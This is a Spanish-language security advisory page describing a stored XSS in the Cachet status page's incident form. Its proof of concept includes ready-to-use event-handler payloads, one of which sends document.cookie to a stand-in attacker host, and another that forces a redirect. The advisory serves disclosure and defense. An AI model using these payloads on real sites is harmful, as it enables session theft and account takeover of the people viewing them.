Media

XSS almacenado en el componente de incidentes de Cachet

  • Publicada: 20.10.2026
  • Actualizado: 21.10.2026 00:18

Resumen

Existe una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en el formulario de creación de incidentes, lo que permite a un atacante autenticado inyectar HTML/JavaScript malicioso que se ejecuta en el navegador de cualquier usuario que visualice la página de estado, lo que potencialmente conduce al robo de tokens de sesión y a la toma de control de cuentas.

Detalles

Los campos Incident Name e Incident Message no desinfectan adecuadamente los atributos de controladores de eventos HTML. Aunque las etiquetas <script> parecen estar filtradas, las cargas útiles basadas en eventos no están bloqueadas.

  • Punto de conexión afectado: /dashboard/incidents/
  • Campos afectados: Incident Name, Incident Message
  • Versión afectada: Cachet v3

PoC

  1. Iniciar sesión como usuario autenticado
  2. Navegar a /dashboard/incidents/
  3. Crear un nuevo incidente
  4. Insertar las siguientes cargas útiles en los campos Name y Message:

Payload 1 — Confirmar ejecución de XSS: <img src=x onerror="alert(1)">

Step 2 — Cookie/token exfiltration: <img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">

Step 3 — Forced redirect to sensitive page: <img src=x onerror="window.location='/dashboard/manage-customization'">

  1. Guardar el incidente
  2. Navegar a la página pública de estado
  3. La carga útil se ejecuta en el navegador de la víctima

Payload 1

<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />

Payload 2

<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />

Impacto

XSS almacenado que afecta a todos los usuarios que visualicen la página pública de estado.

Un atacante puede:

  • Confirmar la ejecución de scripts mediante una ventana emergente de alerta
  • Robar cookies de sesión y tokens XSRF de usuarios autenticados
  • Redirigir de forma silenciosa a las víctimas hacia páginas sensibles como /dashboard/manage-customization

Esta vulnerabilidad podría dar lugar a la toma de control total de la cuenta de cualquier usuario que visualice la página de estado, incluidos los administradores.

Qué hacer

No se han establecido medidas de corrección.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer cachethq/cachet <= 2.4.1 sin corrección

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
cachethq/cachet
Publicada
20.10.2026
Actualizado
21.10.2026 00:18

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-x397-5hrv-j9m9 - CC BY 4.0

Historial de vulnerabilidades: cachethq/cachet

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
6
Primera → última
08.2021 10.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 4
  • Media 1

Divulgaciones por año

  1. 2021: 4
  2. 2022: 0
  3. 2023: 1
  4. 2024: 0
  5. 2025: 0
  6. 2026: 1
  1. XSS almacenado en el componente de incidentes de Cachet esta entrada
    Media CVE-2026-113712 <= 2.4.1 sin corrección
  2. Crítica · 9.1 CVE-2023-43661 < 2.4 2.4
  3. Alta · 8.1 CVE-2021-39165 <= 2.3.18 sin corrección
  4. Alta · 8.8 CVE-2021-39174 < 2.5.1 2.5.1
  5. Alta · 8.8 CVE-2021-39173 < 2.5.1 2.5.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.